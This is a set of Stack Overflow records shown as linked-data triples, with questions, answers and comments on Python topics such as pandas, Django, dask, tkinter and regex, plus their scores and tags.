http://stackoverflow.com/comment/81525707
comment on: http://stackoverflow.com/q/47287462
has text: for [functional programing fans](https://repl.it/repls/AuthorizedFarflungCaterpillar)
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47386428
has body: You can use img.putpixel to assign the r,g,b,a values at each pixel- from PIL import Image im = Image.open('xyz.png') rgb_im = im.convert('RGB') width, height = im.size output_im = Image.new('RGB', (width,height)) for w in range(width): for h in range(height): r,g,b = rgb_im.getpixel((w,h)) output_r = 255 - r output_g = 255 - g output_b = 255 - b alpha = 1 output_im.putpixel((w, h), (output_r, output_g, output_b, alpha))
answers question: http://stackoverflow.com/q/47382482
score: 0
type: Answer

http://stackoverflow.com/q/47376416
favorite count: 0
upvote count: 4
has title: Dask one-hot encoding MemoryError
has comment: http://stackoverflow.com/comment/116558054
type: Question
tagged with: dask
tagged with: out-of-memory
type: UnansweredQuestion
has body: I'm trying to encode categorical data with one-hot encoding using dask and export it to csv. The data in question is "movie-actors.dat" from hetrec2011-movielens-2k-v2 (available at https://grouplens.org/datasets/hetrec-2011/). It looks like this (I'm only interested in the first two columns): movieID actorID 0 1 annie_potts 1 1 bill_farmer 2 1 don_rickles 3 2 bonnie_hunt 4 2 bradley_pierce 5 2 darryl_henriques Raw data fits into memory just fine: [231742 rows x 2 columns]. There are 95321 unique actorIDs and 10174 movieIDs so I'm going to end up with 10174 rows and 95321 columns which means it should take up roughly 970 megabytes plus some overhead. The way I'm trying to encode is: import dask.dataframe as dd dd.get_dummies(df.categorize()).groupby('movieID').sum() which results in: actorID_annie_potts actorID_bill_farmer actorID_bonnie_hunt actorID_bradley_pierce actorID_darryl_henriques actorID_don_rickles movieID 1 1 1 0 0 0 1 2 0 0 1 1 1 0 Running it on full data fills up all available memory (~ 13 GB) and results in MemoryError. Repartitioning dd.get_dummies(df.categorize().repartition(npartitions=20)) using cache and single thread scheduler doesn't help. The problem might be that in the intermediate step (before performing sum()) the dataframe would have 231742 rows and 95321 columns which would take up at least 22GB which is more than my swap partition. How can I make it work?
downvote count: 0
tagged with: dataframe
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/116593841
answer count: 0

http://stackoverflow.com/comment/81434164
type: Comment
score: 0
type: AnswerComment
has text: values_list() returns a list. So to take names just iterate over the list.
comment on: http://stackoverflow.com/a/47241506

http://stackoverflow.com/comment/81603046
comment on: http://stackoverflow.com/a/47326108
type: AnswerComment
has text: One could also suggest using a dictionary `{k:int(v) for k,v in data}` because I have a hunch that's what OP actually wants :)
score: 1
type: Comment

http://stackoverflow.com/q/47333202
upvote count: 1
score: 1
has body: I'm working with Django-tables2. I can display a table using a model but can't get one to display using data. I change things but I'm not sure on how to get the table to display view def dictfetchall(cursor): desc = cursor.description return [ dict(zip([col[0] for col in desc], row)) for row in cursor.fetchall() ] def Users(request): data = dictfetchall(cursor) table = ProjectTable(data) RequestConfig(request, paginate={"per_page": 4}).configure(data) return render(request, 'JiraAdmin/index.html', {'table': table}) table.py class ProjectTable(tables.Table): name = tables.Column(verbose_name='Role') lead = tables.Column(verbose_name='Lead') display_name = tables.Column(verbose_name='User) class meta: attrs = {'class': 'paleblue'} attrs = {'class': 'table table-responsive', 'width': '100%'} template {% render_table ProjectTable %} Changed my view def Users(request): cursor = connection.cursor() cursor.execute(select) results = cursor.fetchall() x = cursor.description resultsList = [] for r in results: i = 0 d = {} while i &lt; len(x): d[x[i][0]] = r[i] i = i+1 resultsList.append(d) table = ProjectTable(resultsList) return render_to_response('index.html', {"table": table}) html &lt;table&gt; {% for results in resultsList %} {% for field, value in results.get_fields %} &lt;tr&gt; {%render_table ProjectTable%} &lt;/tr&gt; {% endfor %}s {% endfor %} &lt;/table&gt;
tagged with: django-tables2
favorite count: 0
has title: django-tables2 ' table not displaying
type: Question
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/62786884
has answer: http://stackoverflow.com/a/47506427
answer count: 2
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/a/47386282
has body: Inspired by the answer (or the given ideas there) from ead, I found a very simple solution - or lets better call it workaround. For me just changing the if clause to if __name__ == '__main__': if len(sys.argv) == 1: main() else: sys.argv[1] = sys.argv[3] exec(sys.argv[2]) did it. The reason why that works is (in my case): When calling the original .py-file the worker's __name__ is set to __mp_main__ (but all processes are just the plain .py-file). When running the (cython) compiled version the worker's name is not usable, but the workers get called different and thus we can identify them by more that one argument in argv. In my case worker's argv reads ['MYPROGRAMM.exe', '-c', 'from multiprocessing.spawn import spawn_main; spawn_main(parent_pid=9316, pipe_handle =392)', '--multiprocessing-fork'] Thus in argv[2] the code for activation of the workers is found and gets executed with the upper commands. Of course if you need arguments for your compiled file, you need a bigger effort, maybe parsing for the parent_pid in the call. But in my case, that would simply be overdone.
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81729414
answers question: http://stackoverflow.com/q/47325297
has comment: http://stackoverflow.com/comment/81725855
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/81728527
has comment: http://stackoverflow.com/comment/81727344

http://stackoverflow.com/a/47245631
has comment: http://stackoverflow.com/comment/81444603
has comment: http://stackoverflow.com/comment/81444917
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/47245545
score: 2
has comment: http://stackoverflow.com/comment/81441719
has comment: http://stackoverflow.com/comment/81444618
has comment: http://stackoverflow.com/comment/81444627
has comment: http://stackoverflow.com/comment/81441663
downvote count: 0
has body: I used a defaultdict to get what you wanted. See this example. from collections import defaultdict d = {'image1.jpg': ['UTSC', '2017-11-03','Happy Friday'], 'image2.jpg': ['UTSC', '2017-09-04','Happy Monday'], 'image3.jpg': ['UTSC', '2017-11-03','Happy Monday']} newd = defaultdict(list) for i in d: newd[d[i][1]].append(i) print(dict(newd)) Or without collections (Added by @antonvbr) d = {'image1.jpg': ['UTSC', '2017-11-03','Happy Friday'], 'image2.jpg': ['UTSC', '2017-09-04','Happy Monday'], 'image3.jpg': ['UTSC', '2017-11-03','Happy Monday']} newd = {} # Loop over the dictionary d for img, metadata in d.items(): #Extract the date from 'metadata' date = metadata[1] # If key doesn't exist create an empty list if not newd.get(date): newd[date] = [] # Add item to list inside dict newd[date].append(img) print(newd) Output: {'2017-11-03': ['image1.jpg', 'image3.jpg'], '2017-09-04': ['image2.jpg']}

http://stackoverflow.com/q/47231178
upvote count: 1
favorite count: 0
type: Question
has body: my python software deadlocks interminttently (probably due to some race condition) inside one of the running thread, it runs while True: msg = printQ.get() print msg sys.stdout.flush() while debugging, i saw one of my thread held up at sys.stdout.flush(). If i remove flush line, the thread hangs at print. This is the only thread which prints to stdout If i disable this thread, my software doesnt deadlock are there any known issues with flushing stdout in multithreaded env? these are tracing of running threads at the time when the software deadlocked. Anything jumps out to you guys? to me, it looks like a couple of sleep and waiting for item in the queue. only thing that's odd to me is sys.stdout.flush() # ThreadID: 139736001795840 File: "/usr/software/rats/bedrock/lib/python2.7/threading.py", line 783, in __bootstrap self.__bootstrap_inner() File: "/usr/software/rats/bedrock/lib/python2.7/threading.py", line 810, in __bootstrap_inner self.run() File: "/usr/software/rats/bedrock/lib/python2.7/threading.py", line 763, in run self.__target(*self.__args, **self.__kwargs) File: "/u/eugenep/bedrock/source/br-new-release/lib/btool/Dispatch_Factory.py", line 726, in worker jobref = Host.r.blpop(Dispatch.rkey_completeQ, timeout=1) File: "/usr/software/rats/bedrock/lib/python2.7/site-packages/redis/client.py", line 1090, in blpop return self.execute_command('BLPOP', *keys) File: "/usr/software/rats/bedrock/lib/python2.7/site-packages/redis/client.py", line 529, in execute_command return self.parse_response(connection, command_name, **options) File: "/usr/software/rats/bedrock/lib/python2.7/site-packages/redis/client.py", line 541, in parse_response response = connection.read_response() File: "/usr/software/rats/bedrock/lib/python2.7/site-packages/redis/connection.py", line 545, in read_response response = self._parser.read_response() File: "/usr/software/rats/bedrock/lib/python2.7/site-packages/redis/connection.py", line 213, in read_response response = self._buffer.readline(…
type: UnansweredQuestion
tagged with: multithreading
downvote count: 0
has answer: http://stackoverflow.com/a/47232937
has title: python 2.7 multithreads hang in print
tagged with: python
tagged with: freeze
tagged with: deadlock
tagged with: python-2.7
score: 1
answer count: 1

http://stackoverflow.com/comment/81448019
type: QuestionComment
comment on: http://stackoverflow.com/q/47248809
score: 0
type: Comment
has text: It's there in 'movieframe[4]' in lower case, but it is not going beyond 'movieframe[0]'.

user-defined-functions
tags question: http://stackoverflow.com/q/47279290
tag name: user-defined-functions
type: Tag

http://stackoverflow.com/a/47294707
has body: To get the button to fill the entire space of the grid box it occupies, try setting the sticky argument of the grid() function to "NSEW": from tkinter import * root = Tk() root.configure(bg = "grey") w = Canvas(root, width = 150, height = 150, highlightthickness = 0) w.grid(row = 1, column = 1, sticky = "NSEW") clear_btn = Button(text = "Clear", width = 15, command = lambda: w.delete("all")) clear_btn.grid(row = 2, column = 1, sticky = "NSEW") root.mainloop() Before: After: Note: The appearance of these windows may vary slightly between operating systems and even between different visual themes on the same operating system.
has comment: http://stackoverflow.com/comment/81540759
score: 2
has comment: http://stackoverflow.com/comment/81541392
upvote count: 2
answers question: http://stackoverflow.com/q/47294500
has comment: http://stackoverflow.com/comment/81541255
downvote count: 0
has comment: http://stackoverflow.com/comment/81541508
has comment: http://stackoverflow.com/comment/81541098
type: Answer

http://stackoverflow.com/comment/106375153
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47252524
has text: @shantanupathak, if you need help on a particular problem, ask your own question. Don't try to add on to an old answer (that others found to be adequate). There are newer questions involving `argrelextrema`.

http://stackoverflow.com/q/47319090
score: 1
tagged with: upload
downvote count: 1
has body: I'm trying yo upload video from raspberry pi to a web server. I'm able to upload an image, but using the same way to upload a video is not giving any output. The code that I've used to upload an image is below: import pi camera from time import sleep camera = camera.PiCamera() camera.capture('preview.jpeg') url = ".../camupload.php" files = {'file' : open('preview.jpeg','rb')} r = requests.post(url,files=files) The server side php code I'm using is below: &lt;?php print_r($_FILES); move_uploaded_file($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]); ?&gt; Any thoughts? Thank you in advance
favorite count: 0
has comment: http://stackoverflow.com/comment/81589673
type: Question
tagged with: network-programming
type: UnansweredQuestion
has title: Uploading video file from Pi to Web Server
tagged with: python
tagged with: php
has comment: http://stackoverflow.com/comment/81589364
tagged with: video
has comment: http://stackoverflow.com/comment/81589523
answer count: 0
upvote count: 2

http://stackoverflow.com/comment/81839515
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47382461
has text: @6'whitemale -- see the answer I posted, there is a solution as long as you don't need it to work in IPython.
score: 0

http://stackoverflow.com/comment/81707002
has text: Thanks I fixed the loop, now I'm struggling with the capture function, I don't know how to set it up
type: QuestionComment
comment on: http://stackoverflow.com/q/47376790
type: Comment
score: 0

http://stackoverflow.com/q/47314034
has comment: http://stackoverflow.com/comment/81580230
favorite count: 0
has title: How to count items in csv file python?
type: Question
has comment: http://stackoverflow.com/comment/81580070
answer count: 2
possible better answer: http://stackoverflow.com/a/47314151
has comment: http://stackoverflow.com/comment/81580265
upvote count: 0
score: -2
downvote count: 2
tagged with: python
has body: I'm using kaggle imdb 5000 dataset you can see details here. I'm trying to make new csv file look like . But the genre row also has to split. Genre row: [{"id": 28, "name": "Action"}, {"id": 12, "name": "Adventure"}, {"id": 14, "name": "Fantasy"}, {"id": 878, "name": "Science Fiction"}] How can I take name attributes in Genre row? with open(filename) as myFile: reader = csv.DictReader(myFile) for row in reader: print(row['genres'].'name') print(row['genres'].'name') doesn't work.
has answer: http://stackoverflow.com/a/47314165
has comment: http://stackoverflow.com/comment/81578820
has comment: http://stackoverflow.com/comment/81580194
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47314151
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81578855
has comment: http://stackoverflow.com/comment/81579098
accepted answer: http://stackoverflow.com/a/47314165

multidimensional-array
tags question: http://stackoverflow.com/q/47280241
tags question: http://stackoverflow.com/q/47352583
tags question: http://stackoverflow.com/q/47353363
tags question: http://stackoverflow.com/q/47233402
tags question: http://stackoverflow.com/q/47231974
tags question: http://stackoverflow.com/q/47282565
tags question: http://stackoverflow.com/q/47355478
type: Tag
tag name: multidimensional-array
tags question: http://stackoverflow.com/q/47233759

http://stackoverflow.com/comment/81666481
comment on: http://stackoverflow.com/q/47356806
type: QuestionComment
score: 0
has text: I think scraping this website would be better suited for Selenium.. BeautifulSoup has little to no JavaScript functionality
type: Comment

http://stackoverflow.com/q/47236658
type: AnsweredQuestion
tagged with: pandas
score: 1
downvote count: 0
answer count: 1
upvote count: 1
favorite count: 0
type: Question
has body: I have a df whose entries are mostly 'yyyymmdd' date strings but there are also some 'nan' values. Note that here these 'nan' are strings instead of the float nan. Now I want to convert all the date strings in the df to pandas datetime format, while converting the nan values to NaN, NaT etc, whatever can be detected by pd.isnull. An immediate thought would be using the pd.to_datetime function with the errors argument. As said in the documentation, errors : {'ignore', 'raise', 'coerce'}, default 'raise' - If 'raise', then invalid parsing will raise an exception - If 'coerce', then invalid parsing will be set as NaT - If 'ignore', then invalid parsing will return the input So, I tried with my example df 001002.XY 600123.AB 123456.YZ 555555.GO ipo_date 20100203 20150605 nan 20090501 delist_date nan 20170801 nan nan where all values are str and even nan are actually 'nan'. I then tried pd.to_datetime(df, errors='coerce'), which throws me: Traceback (most recent call last): File "D:\Anaconda3\lib\site-packages\IPython\core\interactiveshell.py", line 2881, in run_code exec(code_obj, self.user_global_ns, self.user_ns) File "&lt;ipython-input-27-43c41318d6ab&gt;", line 1, in &lt;module&gt; pd.to_datetime(df, errors='coerce') File "D:\Anaconda3\lib\site-packages\pandas\core\tools\datetimes.py", line 512, in to_datetime result = _assemble_from_unit_mappings(arg, errors=errors) File "D:\Anaconda3\lib\site-packages\pandas\core\tools\datetimes.py", line 591, in _assemble_from_unit_mappings "[{0}] is missing".format(','.join(req))) ValueError: to assemble mappings requires at least that [year, month, day] be specified: [day,month,year] is missing However, if I tried with individual cells, it worked out fine: pd.to_datetime(df.iloc[0, 0]) Out[33]: Timestamp('2010-02-03 00:00:00') pd.to_datetime(df.iloc[1, 0]) Out[34]: NaT I can't figure out what happened. For what it's worth though, all columns have object as dtype: df.dtypes Out[35]: 001002.XY object 600123.AB object 123456.YZ ob…
has title: pandas to_datetime doesn't work as expected
tagged with: python
accepted answer: http://stackoverflow.com/a/47236680
has answer: http://stackoverflow.com/a/47236680

http://stackoverflow.com/comment/81435998
type: QuestionComment
score: 1
has text: Try `m[1, :, :]`
comment on: http://stackoverflow.com/q/47242677
type: Comment

http://stackoverflow.com/q/47320572
has answer: http://stackoverflow.com/a/47320593
linked to: http://stackoverflow.com/q/17679089
tagged with: python
has title: Pandas, groupby and count
has answer: http://stackoverflow.com/a/59145954
possible better answer: http://stackoverflow.com/a/62802626
type: AnsweredQuestion
answer count: 3
tagged with: pandas-groupby
duplicate of: http://stackoverflow.com/q/17679089
tagged with: pandas
score: 49
downvote count: 0
upvote count: 49
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/111060024
linked to: http://stackoverflow.com/q/33346591
has answer: http://stackoverflow.com/a/62802626
accepted answer: http://stackoverflow.com/a/47320593
has body: I have a dataframe say like this &gt;&gt;&gt; df = pd.DataFrame({'user_id':['a','a','s','s','s'], 'session':[4,5,4,5,5], 'revenue':[-1,0,1,2,1]}) &gt;&gt;&gt; df revenue session user_id 0 -1 4 a 1 0 5 a 2 1 4 s 3 2 5 s 4 1 5 s And each value of session and revenue represents a kind of type, and I want to count the number of each kind say the number of revenue=-1 and session=4 of user_id=a is 1. And I found simple call count() function after groupby() can't output the result I want. &gt;&gt;&gt; df.groupby('user_id').count() revenue session user_id a 2 2 s 3 3 How can I do that?

http://stackoverflow.com/q/47237759
has body: I'm quite new to Tensorflow and tflearn So far I've studied a couple of tutorials and have been trying to apply tflearn titanic example to a zoo animals dataset ( http://archive.ics.uci.edu/ml/datasets/Zoo ). The training works great, but when I try using model.predict on the data I enter it gives me the following error Cannot feed value of shape (1, 1, 17) for Tensor 'InputData/X:0', which has shape '(?, 16)' Here's python code from __future__ import print_function import numpy as np import tflearn # Load CSV file, indicate that the first column represents labels from tflearn.data_utils import load_csv data, labels = load_csv('zoo.csv', target_column=-1, categorical_labels=True, n_classes=8) # Preprocessing function def preprocess(data, columns_to_ignore): # Sort by descending id and delete columns for id in sorted(columns_to_ignore, reverse=True): [r.pop(id) for r in data] return np.array(data, dtype=np.float32) # Ignore 'name' and 'ticket' columns (id 1 &amp; 6 of data array) to_ignore=[0] # Preprocess data data = preprocess(data, to_ignore) # Build neural network net = tflearn.input_data(shape=[None,16]) net = tflearn.fully_connected(net, 128) net = tflearn.dropout(net, 1) net = tflearn.fully_connected(net, 128) net = tflearn.dropout(net, 1) net = tflearn.fully_connected(net, 8, activation='softmax') net = tflearn.regression(net) # Define model model = tflearn.DNN(net) # Start training (apply gradient descent algorithm) model.fit(data, labels, n_epoch=1, validation_set=0.1, shuffle=True, batch_size=17, show_metric=True) ant = ['ant', 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 8, 0, 0, 0] # Preprocess data ant = preprocess([ant], to_ignore) # Predict surviving chances (class 1 results) pred = model.predict([ant]) print("Ant is:", pred[0]) I've tried using reshape, it didn't quite work. THe similiar problems I've found using search have this error appearing at the training stage, not prediction.
tagged with: tflearn
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47516190
score: 1
answer count: 1
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/47516190
tagged with: tensorflow
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81425783
has title: Tflearn model.predict Cannot feed value of shape (1, 1, 17)

http://stackoverflow.com/comment/81487011
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47268054
score: 0
has text: i think that the data should be in a dictionary , meaning : key: value pairs instead of the whole form xml

http://stackoverflow.com/q/47286076
tagged with: python
tagged with: django-rest-framework
type: AnsweredQuestion
score: 0
has title: Where can I to write my logic in APIView?
has body: In the CreateAPIView I can override the create method to add my logic: class OpenstackAccountCreateAPIView(CreateAPIView): """ create openstack account """ serializer_class = OpenstackAccountCreateSerializer def create(self, request, *args, **kwargs): # put my logic here ...... But if I have a APIView, where can I to write my logic? class OpenstackAccountLoginAPIView(APIView): serializer_class = OpenstackAccountLoginSerializer # where can I put my login logic? My OpenstackAccountLoginSerializer in serializers.py: class OpenstackAccountLoginSerializer(Serializer): password = serializers.CharField()
has answer: http://stackoverflow.com/a/47286265
possible better answer: http://stackoverflow.com/a/47286265
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/47286222
accepted answer: http://stackoverflow.com/a/47286222
tagged with: django

http://stackoverflow.com/comment/81618434
comment on: http://stackoverflow.com/q/47332121
score: 0
type: Comment
type: QuestionComment
has text: @MattR better? Is this an issue because the merge doesnt specify the join on those gate columns as well?

http://stackoverflow.com/q/47258970
has comment: http://stackoverflow.com/comment/81469151
has comment: http://stackoverflow.com/comment/81468523
tagged with: mysql
linked to: http://stackoverflow.com/q/32493631
type: Question
has title: UnboundLocalError:local variable 'cursor' referenced before assignment
tagged with: flask-mysql
answer count: 0
has comment: http://stackoverflow.com/comment/81469478
has comment: http://stackoverflow.com/comment/81468823
has comment: http://stackoverflow.com/comment/81468742
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81469618
duplicate of: http://stackoverflow.com/q/32493631
linked to: http://stackoverflow.com/q/26498652
tagged with: python
tagged with: flask
has body: So I am a newbie but working on a registration system form in flask/MYSQL I am receiving this error (UnboundLocalError: local variable 'cursor' referenced before assignment) only when I tried to update it from webpage. when I use postman its fine. After hours of playing with the code and research I need your help. This is my file, please let me know if theres anything else I need to share. thank you @app.route('/updateHdd', methods=['POST']) def updateHdd(): try: if session.get('user'): _user = session.get('user') _keterangan = request.form['editKeterangan'] _nomor = request.form['nomor'] conn = mysql.connect() cursor = conn.cursor() cursor.callproc('sp_updateHdd',(_user,_keterangan,_nomor)) data = cursor.fetchall() if len(data) is 0: conn.commit() return json.dumps({'status':'OK'}) else: return json.dumps({'status':'ERROR'}) except Exception as e: return json.dumps({'status':'Unauthorized access'}) finally: cursor.close() conn.close() here is my script in html: $(function(){ GetItems(); $('#btnUpdate').click(function(){ $.ajax({ url : '/updateHdd', data : { keterangan: $('#editKeterangan').val(), nomor: localStorage.getItem('editNomor') }, type : 'POST', success: function(res){ $('#edit').modal('hide'); }, error: function(error){ console.log(error); } }); }); }); another script incase you you guys need: function Edit(elm){ localStorage.setItem('editId',$(elm).attr('data-id')); $.ajax({ url : '/getWishBynomor', data : {id:$(elm).attr('data-id')}, type : 'POST', success: function(res){ var data = JSON.parse(res); $('#editKeterangan').val(data[0]['Keterangan']); $('#editModal').modal(); }, error: function(error){ console.log(error); } }); } and this is the html code: &lt;div class="modal fade" id="editmodal" tabindex="-1" role="dialog" aria-labelledby="editModalLabel" aria-hidden="true"&gt; &lt;div class="modal-dialog"&gt; &lt;div class="modal-content"&gt; &lt;div class="modal-header"&gt; &lt;button type="button" class="close" data-dismiss="modal"&gt;&lt;span aria-hid…
has comment: http://stackoverflow.com/comment/81469062
duplicate of: http://stackoverflow.com/q/26498652
has comment: http://stackoverflow.com/comment/81469306

http://stackoverflow.com/q/47286054
has comment: http://stackoverflow.com/comment/81522298
type: UnansweredQuestion
has body: I'm using Django 1.3 and I have a form defined with forms.py: class mopa(forms.Form): idcarrellosorgente = forms.IntegerField(label="Identificativo Carrello Sorgente *", required=True, max_value=9999999999, min_value=0000000000 ) causale = forms.CharField(label="Causale Pagamento *", required=True) imp_unitario = forms.DecimalField(label="Importo Unitario Bene (es. 20.00) *", required=True) quantita_item = forms.IntegerField(label="Quantita' Bene Acquistato (intero) *", required=True) and in this file I made the checks. My models.py file: class Mopamodel(models.Model): idcarrellosorgente = models.IntegerField() cod_ente = models.CharField() causale = models.CharField() imp_unitario = models.DecimalField() quantita_item = models.IntegerField() and my views.py def paga(request): # If this is a POST request then process the Form data if request.method == 'POST': # Create a form instance and populate it with data from the request (binding): form = mopa(request.POST) print('form: ', form.data) #return a dictionary # Check if the form is valid: if form.is_valid(): # process the data in form.cleaned_data as required # p=form.save() &lt;--don't works: error: 'mopa' object has no attribute 'save' idcarr = form.cleaned_data['idcarrellosorgente'] caus = form.cleaned_data['causale'] imp_u = form.cleaned_data['imp_unitario'] qta = form.cleaned_data['quantita_item'] dictmopa={} dictmopa['id_carr']=idcarr cod_ente = form.cleaned_data['cod_ente'] mopapay=Mopamodel(idcarrellosorgente=idcarr, cod_ente=cod_ente, causale=causale, imp_unitario=imp_u, quantita_item=qta #mopapay.save() &lt;--this produce the error: unsupported operand type(s) for ** or pow(): 'Decimal' and 'NoneType' .... # redirect to a new URL: return HttpResponseRedirect(reverse('viewsdati/') ) How can I save the form data in a database postgres? Other tutorial/questions don't solve my problem, probably are for more recent django versions.
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/81522887
has answer: http://stackoverflow.com/a/47293275
has comment: http://stackoverflow.com/comment/81522266
has comment: http://stackoverflow.com/comment/81522624
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/81522559
tagged with: forms
has title: Save data of django form in database
type: Question

http://stackoverflow.com/comment/81547625
type: QuestionComment
comment on: http://stackoverflow.com/q/47297209
score: 0
type: Comment
has text: And whats not working?

http://stackoverflow.com/comment/81663363
type: AnswerComment
score: 0
has text: I'm also not sure why this was downvoted, it's a good answer. I find `melt` more readable but in this situation that's entirely personal preference.
type: Comment
comment on: http://stackoverflow.com/a/47355121

http://stackoverflow.com/q/47360044
tagged with: python
has answer: http://stackoverflow.com/a/47360108
has answer: http://stackoverflow.com/a/47360103
linked to: http://stackoverflow.com/q/3385201
type: AnsweredQuestion
has body: In C++, I can output to cout and cerr; in practice this results in code wherein I can redirect output to two files at once like: ./some_program &gt; first_file.something 2&gt; second_file.else How would I accomplish this in python?
score: 0
has answer: http://stackoverflow.com/a/47360098
answer count: 3
has title: Python: output to multiple redirects
tagged with: output
possible better answer: http://stackoverflow.com/a/47360098
type: Question
accepted answer: http://stackoverflow.com/a/47360108

http://stackoverflow.com/q/47341411
has answer: http://stackoverflow.com/a/47341512
has title: How to write patterns for use with re.VERBOSE when they contain meaningful whitespace?
favorite count: 0
score: 9
type: Question
upvote count: 9
linked to: http://stackoverflow.com/q/7783097
linked to: http://stackoverflow.com/q/46003452
has body: Regexes containing meaningful spaces break when re.VERBOSE is added, apparently because re.VERBOSE 'helpfully' magics away the (meaningful) whitespace inside 'Issue Summary', as well as all the crappy non-meaningful whitespace (e.g. padding and newlines inside a (multiline) pattern). (My use of re.VERBOSE with multiline is non-negotiable - this is actually a massive simplification of a huge multiline regex where re.VERBOSE is necessary just to stay sane.) import re re.match(r'''Issue Summary.*''', 'Issue Summary: fails''', re.U|re.VERBOSE) # No match! re.match(r'''Issue Summary.*''', 'Issue Summary: passes''', re.U) &lt;_sre.SRE_Match object at 0x10ba36030&gt; re.match(r'Issue Summary.*', 'Issue Summary: passes''', re.U) &lt;_sre.SRE_Match object at 0x10b98ff38&gt; Is there a saner alternative to write re.VERBOSE-friendly patterns containing meaningful spaces, short of replacing each instance in my pattern with '\s' or '.', which is not just ugly but counter-intuitive and a pain to automate? re.match(r'Issue\sSummary.*''', 'Issue Summary: fails', re.VERBOSE) &lt;_sre.SRE_Match object at 0x10ba36030&gt; re.match(r'Issue.Summary.*''', 'Issue Summary: fails', re.VERBOSE) &lt;_sre.SRE_Match object at 0x10b98ff38&gt; (As an aside, this a useful docbug catch on Python 2 and 3. I'll file it once I get consensus here on what the right solution is)
tagged with: flags
tagged with: python
has comment: http://stackoverflow.com/comment/81635195
accepted answer: http://stackoverflow.com/a/47341512
tagged with: regex
has comment: http://stackoverflow.com/comment/81635167
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/120740943
has comment: http://stackoverflow.com/comment/81635525
downvote count: 0
tagged with: whitespace
answer count: 1
has comment: http://stackoverflow.com/comment/81635121
linked to: http://stackoverflow.com/q/13761723

http://stackoverflow.com/q/47361148
upvote count: 2
has comment: http://stackoverflow.com/comment/81675306
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81675750
has comment: http://stackoverflow.com/comment/81675804
downvote count: 0
has comment: http://stackoverflow.com/comment/81675521
favorite count: 0
has body: i have an xml/rdf file with this record: &lt;lemon:LexicalEntry rdf:about="ita-tachimetro-n"&gt; what i want is to extract the object of the triple and store it in a dictionary, where the key is the word (in the example: tachimetro) and the value is the pos- part of speech: in the example "n" for noun. so this is what i've done: from lxml import etree import re parser = etree.XMLParser(encoding="utf-8") regex = re.compile(r'^ita-(?P&lt;word&gt;[A-Za-z+]+)-(?P&lt;pos&gt;[anrv]{1})$') doc = etree.parse('wn-ita-lemon.xml',parser=parser) italian_vocabolary = {} for df in doc.xpath('//lemon:LexicalEntry',namespaces={'lemon':'http://lemon-model.net/lemon#'}): for k,v in df.attrib.items(): rx = re.search(regex,v) if rx is not None: ita_vocabolary[rx.group('word')] = rx.group('pos') else: print(v) #to check the value now the string are of two kind basically; single word like the esample above, and expression like ita-Locusta+migratoria-n (for that i put a + in the class regex). Now there is some words that the regex doesnt retrieve, and they are accented word like: ita-sentenziosit%C3%A0-n it should be ita-sentenziosità-n The xml file didn' have the doctype, i inserted later: &lt;?xml version="1.0" encoding="UTF-8"?&gt; but it didnt work anyway, even with given the correct encoding to the etree parser.
linked to: http://stackoverflow.com/q/20690499
type: Question
has title: accented characters in xml file: handling with python element.etree
tagged with: python
tagged with: utf-8
has comment: http://stackoverflow.com/comment/81675797
tagged with: elementtree
tagged with: http://stackoverflow.com/tag/xml
score: 2
has comment: http://stackoverflow.com/comment/81675771
has comment: http://stackoverflow.com/comment/81675567
answer count: 0

http://stackoverflow.com/q/47369811
upvote count: 2
has answer: http://stackoverflow.com/a/47370887
has comment: http://stackoverflow.com/comment/82415157
has body: I am a beginner at the django and module and web applications. Here is the traceback and the data: OperationalError at /admin/learning_logs/example/ no such column: learning_logs_example.entry_id Request Method: GET Request URL: http://localhost:8000/admin/learning_logs/example/ Django Version: 1.11.7 Exception Type: OperationalError Exception Value: no such column: learning_logs_example.entry_id Exception Location: C:\Users\Bryan\Desktop\LEARNI~1\ll_env\lib\site- packages\django\db\backends\sqlite3\base.py in execute, line 328 Python Executable: C:\Users\Bryan\Desktop\LEARNI~1\ll_env\Scripts\python.exe Python Version: 3.6.2 Python Path: ['C:\\Users\\Bryan\\Desktop\\learning log', 'C:\\Users\\Bryan\\Desktop\\LEARNI~1\\ll_env\\Scripts\\python36.zip', 'C:\\Users\\Bryan\\AppData\\Local\\Programs\\Python\\Python36-32\\DLLs', 'C:\\Users\\Bryan\\AppData\\Local\\Programs\\Python\\Python36-32\\lib', 'C:\\Users\\Bryan\\AppData\\Local\\Programs\\Python\\Python36-32', 'C:\\Users\\Bryan\\Desktop\\LEARNI~1\\ll_env', 'C:\\Users\\Bryan\\Desktop\\LEARNI~1\\ll_env\\lib\\site-packages'] Server time: Sat, 18 Nov 2017 18:36:14 +0000 For some reason, when I click that link that says "Examples" below, it says this I tried migrating but it says (venv) C:\...\learning log&gt;python manage.py makemigrations No changes detected (venv) C:\...\learning log&gt;python manage.py migrate Operations to perform: Apply all migrations: admin, auth, contenttypes, sessions Running migrations: No migrations to apply. How did I get it to do that? Well first I added the example entry/form with a TextField and then I added a "example". I added a ForeignKey object with the parameter as Entry. I went back to edit my "example" but then the exception showed up. EDIT: Well janos wanted the output when I run python manage.py showmigrations learning_logs so here it is: admin [X] 0001_initial [X] 0002_logentry_remove_auto_add auth [X] 001_initial [X] 0001_initial [X] 0002_alter_permission_name_max_length [X] 0003_a…
tagged with: django
downvote count: 1
